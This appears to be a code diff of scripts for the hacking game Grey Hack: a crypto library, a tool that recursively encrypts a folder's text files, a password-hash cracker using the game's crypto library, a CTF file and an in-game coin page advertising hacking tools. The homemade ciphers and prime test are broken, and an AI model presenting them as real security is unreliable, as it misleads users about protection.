return bitwise("^", floor(a/65536), floor(b/65536))*65536+bitwise("^", a%65536, b%65536)
end function
AND = function(a, b)
return bitwise("&", floor(a/65536), floor(b/65536))*65536+bitwise("&", a%65536, b%65536)
end function
OR = function(a, b)
return bitwise("|", floor(a/65536), floor(b/65536))*65536+bitwise("|", a%65536, b%65536)
end function
NOT = function(n)
return 4294967295-n
end function
Ch = function(x, y, z)
return OR(AND(x, y), AND(NOT(x), z))
end function
Maj = function(x, y, z)
return OR(OR(AND(x, y), AND(x, z)), AND(y, z))
end function
shr = function(n, shifts)
return floor(n/2^shifts)
end function
rotr = function(n, rots)
rots = 2^rots
return (n % rots) * (4294967296/rots) + floor(n/rots)
end function
sigma0 = function(n)
return XOR(XOR(rotr(n, 7), rotr(n, 18)), shr(n, 3))
end function
sigma1 = function(n)
return XOR(XOR(rotr(n, 17), rotr(n, 19)), shr(n, 10))
end function
SIGMA0 = function(n)
return XOR(XOR(rotr(n, 2), rotr(n, 13)), rotr(n, 22))
end function
SIGMA1 = function(n)
return XOR(XOR(rotr(n, 6), rotr(n, 11)), rotr(n, 25))
end function
K = []
K = K + [1116352408, 1899447441, 3049323471, 3921009573, 961987163, 1508970993, 2453635748, 2870763221]
K = K + [3624381080, 310598401, 607225278, 1426881987, 1925078388, 2162078206, 2614888103, 3248222580]
K = K + [3835390401, 4022224774, 264347078, 604807628, 770255983, 1249150122, 1555081692, 1996064986]
K = K + [2554220882, 2821834349, 2952996808, 3210313671, 3336571891, 3584528711, 113926993, 338241895]
K = K + [666307205, 773529912, 1294757372, 1396182291, 1695183700, 1986661051, 2177026350, 2456956037]
K = K + [2730485921, 2820302411, 3259730800, 3345764771, 3516065817, 3600352804, 4094571909, 275423344]
K = K + [430227734, 506948616, 659060556, 883997877, 958139571, 1322822218, 1537002063, 1747873779]
K = K + [1955562222, 2024104815, 2227730452, 2361852424, 2428436474, 2756734187, 3204031479, 3329325298]
H = [1779033703, 3144134277, 1013904242, 2773480762, 1359893119, 2600822924, 528734635, 1541459225]
for Block in Blocks
W = Block[0:]
for i in range(16, 63)
W = W + [add(add(add(sigma1(W[i-2]), W[i-7]), sigma0(W[i-15])), W[i-16])]
end for
a = H[0]
b = H[1]
c = H[2]
d = H[3]
e = H[4]
f = H[5]
g = H[6]
h = H[7]
for i in range(0, 63)
T1 = add(add(add(add(SIGMA1(e), Ch(e, f, g)), h), K[i]), W[i])
T2 = add(SIGMA0(a), Maj(a, b, c))
h = g
g = f
f = e
e = add(d, T1)
d = c
c = b
b = a
a = add(T1, T2)
end for
H[0] = add(a, H[0])
H[1] = add(b, H[1])
H[2] = add(c, H[2])
H[3] = add(d, H[3])
H[4] = add(e, H[4])
H[5] = add(f, H[5])
H[6] = add(g, H[6])
H[7] = add(h, H[7])
end for
hexTable = "0123456789abcdef"
output = ""
for i in H.indexes
for j in range(7)
output = output + hexTable[floor(H[i]/16^j) % 16]
end for
end for
return output
end function
CryptLib.genRandomString=function(length=null)
if not length or typeof(length) != "number" then return
newString=""
alpha="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234567890"
while newString.len < length
string=alpha[floor(rnd*alpha.len)]
newString=newString+string
end while
return newString
end function
CryptLib.Serialize=function(array=null,fancy=0)
if not array then return
//if typeof(array) != "list" and typeof(array) != "map" then return
type=typeof(array)
if type == "number" or type == "string" then return
type=null
if typeof(array) == "map" or array.indexes.hasIndex("classID") then type="map"
if typeof(array) == "list" then type="list"
if type == null then return null
if type == "list" then
string="["
list=array
else
string="{"
list=array.indexes
end if
if fancy then
string=string+char(10)
if CryptLib.hasIndex("SERN") then CryptLib.SERN=CryptLib.SERN+1 else CryptLib.SERN=1
N=CryptLib.SERN
end if
for i in list.indexes
if type == "map" then v=@array[list[i]] else v=@array[i]
vt=typeof(@v)
if vt == "function" then
v="Err_Function_CannotSerialize"
vt="string"
end if
if fancy then
if vt == "map" or vt == "list" then v=CryptLib.Serialize(v,1)
else
if vt == "map" or vt == "list" then v=CryptLib.Serialize(v)
end if
if type == "list" then
if vt == "string" then v=""""+v+""""
if i == list.indexes[-1] then string=string+v else string=string+v+", "
else
if typeof(list[i]) == "string" then l=""""+list[i]+"""" else l=list[i]
if vt == "string" then v=""""+v+""""
if fancy then
if i == list.indexes[-1] then string=string+(" "*N)+l+": "+v else string=string+(" "*N)+l+": "+v+","
string=string+char(10)
else
if i == list.indexes[-1] then string=string+l+": "+v else string=string+l+": "+v+", "
end if
end if
end for
if fancy then
if type == "list" then string=string+(" "*(N-1))+"]" else string=string+(" "*(N-1))+"}"
else
if type == "list" then string=string+"]" else string=string+"}"
end if
if fancy and N == 1 then CryptLib.remove("SERN")
return string
end function
CryptLib.Deserialize=function(string=null)
if not string or typeof(string) != "string" then return
type=null
if string[0] == "[" then type="list"
if string[0] == "{" then type="map"
if type == null then return null
if type == "list" then
newArray=[]
else
newArray={}
end if
string=string.split(char(10)).join("")
string=string[1:-1]
if not string then return newArray
a=[]
b=[]
c=0
for i in range(0,string.len-1)
v=string[i]
if v == "{" or v == "[" then c=c+1
if v == "}" or v == "]" then c=c-1
if v == "," and c == 0 then
a.push(b.join(""))
b=[]
continue
end if
b.push(v)
if i == string.len-1 then
a.push(b.join(""))
b=[]
continue
end if
end for
string=a
for i in string
i=i.trim
if type == "list" then
if i[0] == """" and i[-1] == """" then
i=i[1:-1]
else
if i == "null" then
i=null
else if i == "true" then
i=1
else if i == "false" then
i=0
else if i[0] == "{" or i[0] == "[" then
i=CryptLib.Deserialize(i)
else
nv=""
dc=0
for l in i
if l == "." then
if dc == 1 then break
nv=nv+"."
end if
if "0123456789E-".indexOf(l) != null then nv=nv+l
end for
if nv != "" then i=i.val
end if
end if
newArray.push(i)
else
k=i[0:i.indexOf(":")]
if k[0] == """" then k=k[1:-1]
v=i[i.indexOf(":")+1:]
if v[0] == " " then v=v[1:]
if v[0] == """" then
v=v[1:-1]
else
if v == "null" then
v=null
else if v == "true" then
v=1
else if v == "false" then
v=0
else if v[0] == "{" or v[0] == "[" then
v=CryptLib.Deserialize(v)
else
nv=""
dc=0
for l in v
if l == "." then
if dc == 1 then break
nv=nv+"."
end if
if "0123456789E-".indexOf(l) != null then nv=nv+l
end for
if nv != "" then v=v.val
end if
end if
newArray[k]=v
end if
end for
return newArray
end function
CryptLib.Compression=function(string=null,type=null)
basedictcompress={}
basedictdecompress={}
for i in range(0,65535)
if i >= 55296 and i <= 57343 then continue
ic = char(i)
iic = char(i)+char(0)
basedictcompress[ic]=iic
basedictdecompress[iic]=ic
end for
dictAddA=function(str,dict,a,b)
if a >= 65536 then
a = 0
b=b+1
if b >= 65536 then
dict={}
b=1
end if
end if
dict[str] = char(a)+char(b)
a=a+1
return [dict,a,b]
end function
compress=function(input)
if typeof(input) != "string" then return
len = input.len
if len <= 1 then return "u"+input
dict={}
a=0
b=1
result=["c"]
resultLen=result.len
word=""
for i in range(0,len-1)
c=input[i]
wc=word+c
if not (basedictcompress.hasIndex(wc) or dict.hasIndex(wc)) then
write=null
if basedictcompress.hasIndex(word) then
write=basedictcompress[word]
else if dict.hasIndex(word) then
write=dict[word]
end if
if not write then return "algo err. no word"
result.push(write)
resultLen=result.len
if len <= resultLen then return "u"+input
dict=dictAddA(wc, dict, a, b)
a=dict[1]
b=dict[2]
dict=dict[0]
word=c
else
word=wc
end if
end for
if basedictcompress.hasIndex(word) then result.push(basedictcompress[word]) else result.push(dict[word])
resultLen = result.len
if len <= resultLen then return "u"+input
return result.join("")
end function
dictAddB=function(str,dict,a,b)
if a >= 65536 then
a=0
b=b+1
if b >= 65536 then
dict={}
b=1
end if
end if
dict[char(a)+char(b)]=str
a=a+1
return [dict,a,b]
end function
decompress=function(input)
if typeof(input) != "string" then return "invalid type: "+typeof(input)
if input.len < 1 then return "invalid compression"
control=input[0]
if control == "u" then
return input[1:]
else if control != "c" then
return "invalid compression"
end if
input=input[1:]
len=input.len
if len < 2 then return "invalid compression"
dict={}
a=0
b=1
result = []
last=input[0:2]
if basedictdecompress.hasIndex(last) then
result.push(basedictdecompress[last])
else if dict.hasIndex(last) then
result.push(dict[last])
end if
for i in range(2, len-1, 2)
code=input[i:i+2]
lastStr=null
if basedictdecompress.hasIndex(last) then
lastStr=basedictdecompress[last]
else if dict.hasIndex(last) then
lastStr=dict[last]
end if
if lastStr == null then return "could not find last"
if basedictdecompress.hasIndex(code) then
toAdd=basedictdecompress[code]
else if dict.hasIndex(code) then
toAdd=dict[code]
else
toAdd=0
end if
if toAdd then
result.push(toAdd)
dict=dictAddB(lastStr+toAdd[0],dict,a,b)
a=dict[1]
b=dict[2]
dict=dict[0]
else
tmp = lastStr+lastStr[0]
result.push(tmp)
dict=dictAddB(tmp,dict,a,b)
a=dict[1]
b=dict[2]
dict=dict[0]
end if
last=code
end for
return result.join("")
end function
if type == "compress" then
return compress(string)
else if type == "decompress" then
return decompress(string)
else
return
end if
end function
CryptLib.Encrypt=function(type,initial=null,key=null)
if type != "enc" and type != "dec" and type != "gen" then return
alpha="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
al=alpha.len
if type == "gen" then
isPrime=function(num)
primes=[]
if num <= 0 then return 0
if num <= 2 then return 1
if (num%2) == 0 then return 0
i=num/2
if str(i)[-2:] != ".5" then return 0
return 1
end function
GCD=function(num1,num2)
if num2 == 0 then return num1
return GCD(num2,num1%num2)
end function
LCM=function(num1,num2)
num1=abs(num1)*(abs(num2)/GCD(num1,num2))
return abs(num2)*(abs(num1)/GCD(num1,num2))
end function
check="1.0"
while check.len > 1
out={}
p=0
q=0
while not isPrime(p)
p=ceil(rnd*100000000000000)
end while
while not isPrime(q) or q == p
q=ceil(rnd*100000000000000)
end while
c=LCM(p-1,q-1)
e=0
while not e or (1 > e > c and GCD(e,c) != 1)
e=ceil(rnd*100000000)
end while
out.pub=e
out.priv=(e^(-1))%c
check=str(out.priv*out.pub)
end while
return out
end if
if type == "enc" then
if not initial or key == null then return
nn=[]
for i in initial
nn.push(CryptLib.ToBinary(i.code*key,36))
end for
cipher=""
for g in nn
block=[]
while g.len != 0
s=g[:6]
g=g[s.len:]
if g == null then g=""
while s.len < 6
s=s+"0"
end while
block.push(s)
end while
for i in block
cipher=cipher+alpha[CryptLib.FromBinary(i,6)%al]
end for
end for
return cipher
else if type == "dec" then
if not initial or key == null then return
nn=[]
while initial.len != 0
block=[]
s=initial[:6]
initial=initial[s.len:]
if initial == null then initial=""
for i in s
block.push(CryptLib.ToBinary(alpha.indexOf(i),6))
end for
nn.push(block.join(""))
end while
cipher=""
for g in nn
cipher=cipher+char(CryptLib.FromBinary(g,36)*key)
end for
return cipher
end if
end function
CryptLib.Manual=function()
s=[]
s.push("Clover's CryptLib Manual")
s.push("Reminder ""Type"" refers to a string ""enc"" (encrypt) or ""dec"" (decrypt)")
s.push("\nCryptLib.Encrypt(type,string,key)")
s.push("Encrypts a string using Clover's custom encryption (Type=""gen"": gen keys, ""enc"": encrypt, ""dec"": decrypt)")
s.push("\nCryptLib.Manual")
s.push("Prints a manual listing every feature")
s.push("\nCryptLib.ToBinary(string,bits)")
s.push("Converts a string to binary, semi-variable length")
s.push("\nCryptLib.FromBinary(string,bits)")
s.push("Converts a string from binary, MUST be the same bits length you used with CryptLib.ToBinary(), unless separated by spaces.")
s.push("\nCryptLib.Vigenere(string,key,type)")
s.push("Encrypt or decrypt a string using the Vigenere cipher")
s.push("\nCryptLib.ROT(string,rotation)")
s.push("Encrypt or decrypt a string using an alphabet ROTation cipher")
s.push("\nCryptLib.Base64(string,type)")
s.push("Converts a string to and from Base64")
s.push("\nCryptLib.Sha256(string)")
s.push("Hashes a string using Sha256")
s.push("\nCryptLib.genRandomString(length)")
s.push("Generates a random string (A-Z, a-z, 0-9)")
s.push("\nCryptLib.Serialize(array)")
s.push("Converts an array into a string (map/list)")
s.push("\nCryptLib.Deserialize(string)")
s.push("Converts a string back into an array (map/list)")
s.push("\nCryptLib.Compression(string,type)")
s.push("Compresses and decompresses a string using LZW compression, 'type' must be either 'compress' or 'decompress'")
return s.join("\n")
end function

225
cyphlib.src Normal file
View file

@ -0,0 +1,225 @@
Cyphlib = {"README":"Build and run code with `print(Cyphlib.Help)` to get manual"}
Cyphlib.Unicode_max = 65536
Cyphlib.Hide = function(message, key = null)
if (key == null) then key = active_user
locals.key_size = key.len
locals.anwser = ""
locals.counter = 0
for i in message
locals.key_current = key[locals.counter]
locals.final = (i.code + locals.key_current.code) % Cyphlib.Unicode_max
locals.anwser = locals.anwser + char(locals.final)
locals.counter = locals.counter + 1
locals.counter = locals.counter % locals.key_size
end for
return locals.anwser
end function
Cyphlib.Open = function(message, key = null)
if (key == null) then key = active_user
locals.key_size = key.len
locals.anwser = ""
locals.counter = 0
for i in message
locals.key_current = key[locals.counter]
locals.final = (i.code - locals.key_current.code)
if locals.final < 0 then locals.final = Cyphlib.Unicode_max - locals.final
locals.anwser = locals.anwser + char(locals.final)
locals.counter = locals.counter + 1
locals.counter = locals.counter % locals.key_size
end for
return locals.anwser
end function
// param1 = path, param2 = params ([key-rhc])
Cyphlib.HideFile = function(param1, param2 = null)
locals.rec = false
locals.key = active_user
if typeof(param1) != "file" then
print("This function only for file encryption")
return null
end if
if param2 != null then
if param2 != null and param2.indexOf("-") == null then
locals.key = param2
else
if param2[:param2.indexOf("-")] and param2[:param2.indexOf("-")] != "" then
locals.key = param2[:param2.indexOf("-")]
end if
if param2[param2.indexOf("-"):].indexOf("r") or param2[param2.indexOf("-"):].indexOf("R") then
locals.rec = true
end if
end if
end if
if locals.rec and not param1.is_folder then
print("Can't use -R for nonfolder file")
return null
end if
// non -R alg
if not locals.rec then
if not param1.is_binary then
if param1.has_permission("r") and param1.has_permission("w") then
locals.encrfin = Cyphlib.Hide(param1.get_content, locals.key)
param1.set_content(locals.encrfin)
end if
end if
return true
end if
// -R alg
locals.txtfls = []
locals.fldrs = param1.get_folders
for i in locals.fldrs
if i.has_permission("r") then
locals.fldrs = Cyphlib.Merge(locals.fldrs, i.get_folders)
end if
end for
locals.untxtfls = locals.fldrs
locals.postfldrs = locals.fldrs
locals.fldrs.push(param1)
for i in locals.postfldrs
for j in i.get_files
if j.is_binary then locals.untxtfls.push(j) else locals.txtfls.push(j)
end for
end for
for i in locals.txtfls
if i.has_permission("w") then
locals.encrfin = Cyphlib.Hide(i.get_content, locals.key)
i.set_content(locals.encrfin)
end if
end if
end for
return true
end function
Cyphlib.OpenFile = function(param1, param2 = null)
locals.rec = false
locals.key = active_user
if typeof(param1) != "file" then
print("This function only for file encryption")
return null
end if
if param2 then
if param2 != null and param2.indexOf("-") == null then
locals.key = param2
else
if param2[:param2.indexOf("-")] and param2[:param2.indexOf("-")] != "" then
locals.key = param2[:param2.indexOf("-")]
end if
if param2[param2.indexOf("-"):].indexOf("r") or param2[param2.indexOf("-"):].indexOf("R") then locals.rec = true
end if
end if
if locals.rec and not param1.is_folder then
print("Can't use -R for nonfolder file")
return null
end if
// non -R alg
if not locals.rec then
if not param1.is_binary then
if param1.has_permission("r") and param1.has_permission("w") then
locals.encrfin = Cyphlib.Open(param1.get_content, locals.key)
param1.set_content(locals.encrfin)
end if
end if
return true
end if
// -R alg
locals.txtfls = []
locals.fldrs = param1.get_folders
for i in locals.fldrs
if i.has_permission("r") then
locals.fldrs = Cyphlib.Merge(locals.fldrs, i.get_folders)
end if
end for
locals.untxtfls = locals.fldrs
locals.postfldrs = locals.fldrs
locals.fldrs.push(param1)
for i in locals.postfldrs
for j in i.get_files
if j.is_binary then locals.untxtfls.push(j) else locals.txtfls.push(j)
end for
end for
for i in locals.txtfls
if i.has_permission("w") then
locals.encrfin = Cyphlib.Open(i.get_content, locals.key)
i.set_content(locals.encrfin)
end if
end if
end for
return true
end function
Cyphlib.Merge = function(list1, list2)
locals.fin_list = list1
for i in list2
locals.fin_list.push(i)
end for
return locals.fin_list
end function
Cyphlib.Functions = ["Help", "Merge", "HideFile", "OpenFile", "Open", "Hide"]
Cyphlib.Help = function(findKey = "")
locals.funcs = {}
locals.anws = "<color=#ffa500>Cyphlib manual (Cyphlib.[function])</color>" + char(10) + char(10)
locals.funcs["Main"] = locals.anws
locals.anws = "<color=#e38e00>string Hide(message:string, [opt:key:string])</color>" + char(10)
locals.anws = locals.anws + "Hides a string using the Vigenere cipher." + char(10)
locals.anws = locals.anws + "If key isn't specified function uses <color=#cc8899>active_user</color> as key." + char(10) + char(10)
locals.funcs["Hide"] = locals.anws
locals.anws = "<color=#ffc93b>string Open(message:string, [opt:key:string])</color>" + char(10)
locals.anws = locals.anws + "Reverse of <color=#e38e00>Hide(message:string, [opt:key:string])</color>" + char(10)
locals.anws = locals.anws + "Decrypts Vigenere cipher." + char(10)
locals.anws = locals.anws + "Also if key is unspecified uses <color=#cc8899>active_user</color> as key." + char(10) + char(10)
locals.funcs["Open"] = locals.anws
locals.anws = "<color=#e49b0f>list Merge(list1: list, list2: list)</color>" + char(10)
locals.anws = locals.anws + "Returns new list, where first part consists of elements are elements of list1," + char(10)
locals.anws = locals.anws + "last part of element of list2" + char(10) + char(10)
locals.funcs["Merge"] = locals.anws
locals.anws = "<color=#d99944>string Help([opt:findKey: string])</color>" + char(10)
locals.anws = locals.anws + "Returns string which contains Cyphlib's manual for using." + char(10)
locals.anws = locals.anws + "If you send argument in function, it will output only similarly named functions" + char(10)
locals.anws = locals.anws + "(use findKey only with name of function: Help, Open, etc)." + char(10) + char(10)
locals.funcs["Help"] = locals.anws
locals.anws = "<color=#ffc26c>bool/null HideFile(_file: file, [opt:params: string])</color>" + char(10)
locals.anws = locals.anws + "Returns bool or null (as exception with input error message)." + char(10)
locals.anws = locals.anws + "Function encrypts every txt file in area of application." + char(10)
locals.anws = locals.anws + "It also can take an argument of the form `<color=#cc8899>[encryption key]-[opt:r]</color>` or" + char(10)
locals.anws = locals.anws + "just `<color=#cc8899>[encryption key]</color>`/`<color=#cc8899>[-r]</color>`. If `<color=#cc8899>r</color>` is passed then it will run recursively." + char(10)
locals.anws = locals.anws + "Replaces contents with function <color=#e38e00>string Hide(message:string, [opt:key:string])</color>" + char(10) + char(10)
locals.funcs["HideFile"] = locals.anws
locals.anws = "<color=#ffe0b5>bool/null OpenFile(_file: file, [opt:params: string]</color>" + char(10)
locals.anws = locals.anws + "Reverse function of <color=#ffc26c>bool/null HideFile(_file: file, [opt:params: string])</color>." + char(10)
locals.anws = locals.anws + "Function decrypts every txt file in area of aplication." + char(10)
locals.anws = locals.anws + "It also can take an argument of the form `<color=#cc8899>[encryption key]-[opt:r]</color>` or" + char(10)
locals.anws = locals.anws + "just `<color=#cc8899>[encryption key]</color>`/`<color=#cc8899>[-r]</color>`. If `<color=#cc8899>r</color>` is passed then it will run recursively." + char(10)
locals.anws = locals.anws + "Replaces contents with function <color=#ffc93b>string Open(message:string, [opt:key:string])</color>" + char(10) + char(10)
locals.funcs["OpenFile"] = locals.anws
locals.finalanw = locals.funcs["Main"]
for i in Cyphlib.Functions
if i.lower.indexOf(findKey.lower) != null then locals.finalanw = locals.finalanw + locals.funcs[i]
end for
return locals.finalanw
end function

24
decipher.src Normal file
View file

@ -0,0 +1,24 @@
cp=include_lib("/lib/crypto.so")
GetPassword = function(userPass)
password=cp.decipher(userPass)
return(password)
end function
if params.len != 1 then exit
origFile = params[0]
if origFile.len < 32 then exit
lines=[origFile]
for line in lines
userPass=line.split(":")
if userPass.len == 2 then
user=userPass[0]
userPass=userPass[1]
password=GetPassword(userPass)
if not password then print("password for "+user+" not found")
if password then print(user+":"+password)
else
userPass=userPass[0]
password=GetPassword(userPass)
if not password then print ("could not decipher "+userPass)
if password then print(password)
end if
end for

255
enigmatic_theme_3.3.txt Normal file
View file

@ -0,0 +1,255 @@
<?xml version="1.0" encoding="utf-16"?>
<UI_Theme xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<title>
<r>0</r>
<g>8</g>
<b>21</b>
<a>158</a>
</title>
<titleText>
<r>224</r>
<g>224</g>
<b>224</b>
<a>255</a>
</titleText>
<title_buttons>
<r>0</r>
<g>0</g>
<b>0</b>
<a>0</a>
</title_buttons>
<title_buttons_foreground>
<r>224</r>
<g>224</g>
<b>224</b>
<a>255</a>
</title_buttons_foreground>
<window_background>
<r>0</r>
<g>8</g>
<b>21</b>
<a>171</a>
</window_background>
<remoteConnection>
<r>113</r>
<g>65</g>
<b>196</b>
<a>255</a>
</remoteConnection>
<buttons_background>
<r>113</r>
<g>65</g>
<b>196</b>
<a>255</a>
</buttons_background>
<buttons_text>
<r>224</r>
<g>224</g>
<b>224</b>
<a>255</a>
</buttons_text>
<buttonsHighlight>
<r>72</r>
<g>78</g>
<b>87</b>
<a>137</a>
</buttonsHighlight>
<scrollForeground>
<r>113</r>
<g>65</g>
<b>196</b>
<a>255</a>
</scrollForeground>
<scrollBackground>
<r>15</r>
<g>15</g>
<b>15</b>
<a>0</a>
</scrollBackground>
<scrollHighlight>
<r>113</r>
<g>65</g>
<b>196</b>
<a>255</a>
</scrollHighlight>
<outline>
<r>130</r>
<g>84</g>
<b>209</b>
<a>255</a>
</outline>
<terminalText>
<r>224</r>
<g>224</g>
<b>224</b>
<a>255</a>
</terminalText>
<terminalBackground>
<r>0</r>
<g>8</g>
<b>21</b>
<a>0</a>
</terminalBackground>
<desktopBars>
<r>255</r>
<g>255</g>
<b>255</b>
<a>0</a>
</desktopBars>
<desktopIcons>
<r>107</r>
<g>68</g>
<b>173</b>
<a>255</a>
</desktopIcons>
<desktopIconsHighlight>
<r>138</r>
<g>90</g>
<b>221</b>
<a>203</a>
</desktopIconsHighlight>
<clockText>
<r>224</r>
<g>224</g>
<b>224</b>
<a>255</a>
</clockText>
<clockTextHighlight>
<r>174</r>
<g>174</g>
<b>174</b>
<a>132</a>
</clockTextHighlight>
<userText>
<r>224</r>
<g>224</g>
<b>224</b>
<a>255</a>
</userText>
<contextualBackground>
<r>0</r>
<g>8</g>
<b>21</b>
<a>220</a>
</contextualBackground>
<contextualText>
<r>224</r>
<g>224</g>
<b>224</b>
<a>255</a>
</contextualText>
<contextualHighlight>
<r>62</r>
<g>69</g>
<b>81</b>
<a>164</a>
</contextualHighlight>
<mainMenuButtonNormal>
<r>255</r>
<g>255</g>
<b>255</b>
<a>119</a>
</mainMenuButtonNormal>
<mainMenuButtonHighlight>
<r>174</r>
<g>174</g>
<b>174</b>
<a>131</a>
</mainMenuButtonHighlight>
<desktopIconsText>
<r>224</r>
<g>224</g>
<b>224</b>
<a>255</a>
</desktopIconsText>
<buttons_images>
<r>224</r>
<g>224</g>
<b>224</b>
<a>255</a>
</buttons_images>
<outline_root>
<r>130</r>
<g>84</g>
<b>209</b>
<a>255</a>
</outline_root>
<taskbar_focused>
<r>130</r>
<g>84</g>
<b>209</b>
<a>138</a>
</taskbar_focused>
<taskbar_focused_highlight>
<r>113</r>
<g>65</g>
<b>196</b>
<a>137</a>
</taskbar_focused_highlight>
<taskbar_task>
<r>0</r>
<g>8</g>
<b>21</b>
<a>171</a>
</taskbar_task>
<taskbar_task_highlight>
<r>70</r>
<g>75</g>
<b>82</b>
<a>210</a>
</taskbar_task_highlight>
<taskbar_icons>
<r>224</r>
<g>224</g>
<b>224</b>
<a>255</a>
</taskbar_icons>
<taskbar_text>
<r>224</r>
<g>224</g>
<b>224</b>
<a>255</a>
</taskbar_text>
<dropdown_foreground>
<r>0</r>
<g>0</g>
<b>0</b>
<a>73</a>
</dropdown_foreground>
<dropdown_background>
<r>32</r>
<g>32</g>
<b>32</b>
<a>255</a>
</dropdown_background>
<dropdown_highlight>
<r>48</r>
<g>48</g>
<b>48</b>
<a>255</a>
</dropdown_highlight>
<dropdown_text>
<r>224</r>
<g>224</g>
<b>224</b>
<a>255</a>
</dropdown_text>
<notif_icons>
<r>130</r>
<g>84</g>
<b>209</b>
<a>255</a>
</notif_icons>
<notif_text>
<r>224</r>
<g>224</g>
<b>224</b>
<a>255</a>
</notif_text>
<notif_background>
<r>82</r>
<g>82</g>
<b>82</b>
<a>255</a>
</notif_background>
</UI_Theme>

38
file.src Normal file
View file

@ -0,0 +1,38 @@
//file for use with the tracelib ctf
content="IPAddr"
start=host_set_time_start
if floor(start-time) > host_set_time_end then exit("This files time-delay deletion switch has been triggered")
genRandomString=function(cont)
newString=""
alpha="abcdefghijklmnopqrstuvwxyz0123456789"
for i in str(abs(cont))
string=alpha[i.to_int]
newString=newString+string
end for
return newString
end function
string=genRandomString(hash(content))
analysis=md5(string)
if params.len == 0 then exit("Encrypted file, cannot access content")
if params[0] == "Analyze" then
if not get_shell.host_computer.File(program_path+".alz") then
get_shell.host_computer.touch(current_path,program_path.split("/")[-1]+".alz")
get_shell.host_computer.File(program_path+".alz").set_content(analysis)
else
print("File already analyzed.")
end if
exit
end if
if params[0] == "Debug" or params[0] == string then
print("Password confirmed, accessing content")
exit(content)
end if
if params[0] != string then exit("Invalid password")

46
fourman.src Normal file
View file

@ -0,0 +1,46 @@
//FourMan "Window Manager"
import_code("/root/dapi.so")
CHAR_EMPTY=" "
CHAR_POINTER="X"
pointer=[floor(60/2),floor(13/2)]
tinput_focus=0
apps={}
windows={}
apps.exit={"name": "ExitMan", "index": 0, "icon": [["E","X","I","T"]], "file": current_path+"/fourmandata/apps/exit.fs"}
changeframe=function()
frame=[]
for y in range(0,13)
n=[]
for x in range(0,60)
if x == pointer[0] and y == pointer[1] then n.push(CHAR_POINTER) else n.push(CHAR_EMPTY)
end for
frame.push(n)
end for
frame.reverse
return frame
end function
interpret_input=function(input)
if ["DownArrow","UpArrow","LeftArrow","RightArrow"].indexOf(input) != null and not tinput_focus then
y=pointer[1]
x=pointer[0]
if input == "DownArrow" then y=y-1
if input == "UpArrow" then y=y+1
if y > 13 then y=13
if y < 0 then y=0
if input == "LeftArrow" then x=x-1
if input == "RightArrow" then x=x+1
if x > 60 then x=60
if x < 0 then x=0
return [x,y]
end if
end function
print("FourMan Window Manager")
while true
frame=changeframe
dim.printf(frame,0)
pointer=interpret_input(user_input(char(10),0,1))
end while

160
foxcoin.html Normal file
View file

@ -0,0 +1,160 @@
<!doctype html>
<title>FOX Coin</title>
<style>
body {
text-align: center;
padding: 0 25px;
font: 20px Helvetica, sans-serif;
color: #333;
}
h1 {
font-size: 50px;
color: #5555AA;
line-height: 100px;
}
h2 {
font-size: 40px;
}
h3 {
font-size: 25px;
}
html{
background-color: #BBBBBB;
height: 100%;
overflow-y: scroll;
}
.btn {
border: none;
border-radius: 10px;
background-color: #5555AA;
color: #FFFFFF;
padding: 8px 8px;
text-align: center;
text-decoration: none;
display: inline-block;
font: 24;
width: 150px;
margin-top: 30px;
}
.btn:hover {
background-color: #4040AA;
color: #FFFFFF;
}
.faq {
width: 100%;
text-align: left;
}
.line {
width: 90%;
height: 2px;
background-color: #5555AA;
margin: 0 auto;
}
.intro {
width: 75%;
padding: 0;
margin: 0 auto;
font-size: 20px;
}
.wrapper {
margin: 0 auto;
}
table {
width: 80%;
table-layout: fixed;
margin-left: auto;
margin-right: auto;
}
td {
height: 80px;
vertical-align: middle;
word-break: break-all;
}
tr:nth-child(even) {
background-color: #AAAAAA;
}
th:nth-child(0) {
width: 20%;
}
th:nth-child(1) {
width: 59%;
}
th:nth-child(2) {
width: 20%;
}
</style>
<body>
<h1>FOX Coin</h1>
<div class="line"></div>
<div class="wrapper">
<p class="intro">Welcome! We are an <strong>ethical hacking</strong> company that provides a safe blockchain service for those who want to keep their money away from bad hackers.</p>
<p class="intro">Do you want to mine and make transactions with FOX coins?</p>
<p class="intro">It is very easy: click in the button to download FOX Coin app! It is <strong>free</strong>!</p>
</div>
<button type="button" class="btn btn-primary" id="InformaticaShop">Download</button>
<div class="line"></div>
<h1>BAD hacker IP's</h1>
<p>34.179.220.28</p>
<p>52.196.13.181</p>
<p>190.62.128.211</p>
<p>194.174.44.177</p>
<div class="line"></div>
<div class="faq">
<p><h3>1. What do I need to buy FOX coins?</h3></p>
<p>The first step is to create a wallet using the official game <strong>wallet</strong> app.</p>
<p>After creating your wallet, in the same <strong>wallet</strong> app, get your wallet PIN code and take note.</p>
<p>Download the FOX Coin app and with your wallet ID and PIN, create a FOX Coin <strong>subwallet</strong>.</p>
<p>Use the official game <strong>Stocks.exe</strong> app to buy/sell FOX Coins!</p>
<p><h3>2. How can I mine FOX Coins?</h3></p>
<p>After creating your FOX Coin <strong>subwallet</strong> as described in FAQ item 1, you can use the <strong>FOX Coin</strong> app to mine the coins.</p>
<p>Currently the coin cap is 100,000. Mining difficulty will increase until the cap is reached, when the mining is automatically disabled.</p>
<p><h3>3. What can I buy with FOX coins?</h3></p>
<p>You can buy a variety of scripts such as hacking tools, server scrapping, and also lists of fresh IP adresses <strong>from bad hackers</strong> ready to be hacked!</p>
<table>
<tr>
<th>Product</th>
<th>Description</th>
<th>Price</th>
</tr>
<tr>
<td>GetData</td>
<td>Quickly gets all the important data available</td>
<td>50 FOX</td>
</tr>
<tr>
<td>RmTrace</td>
<td>Quickly removes all the traces in a server</td>
<td>50 FOX</td>
</tr>
<tr>
<td>RTMonitor</td>
<td>Shows all the programs running in real time</td>
<td>150 FOX</td>
</tr>
</table>
<p>Interested? Please contact us at <strong>Foxtrot@statefp.com</strong>.</p>
<p><h3>4. Is it safe to use FOX Coin app?</h3></p>
<p>Yes. The app <strong>does not ask for your wallet password</strong>. It was developed with the intent to provide safe access to the FOX Coins to all the palyers.</p>
<p><strong>Never</strong> share your <strong>wallet</strong> password in <strong>game players apps</strong>. Use only official game app to manage your wallet.</p>
</div>
<div class="line"></div>
<p>Ready to start? Download it now!</p>
<button type="button" class="btn btn-primary" id="InformaticaShop">Download</button>
</body>

1025
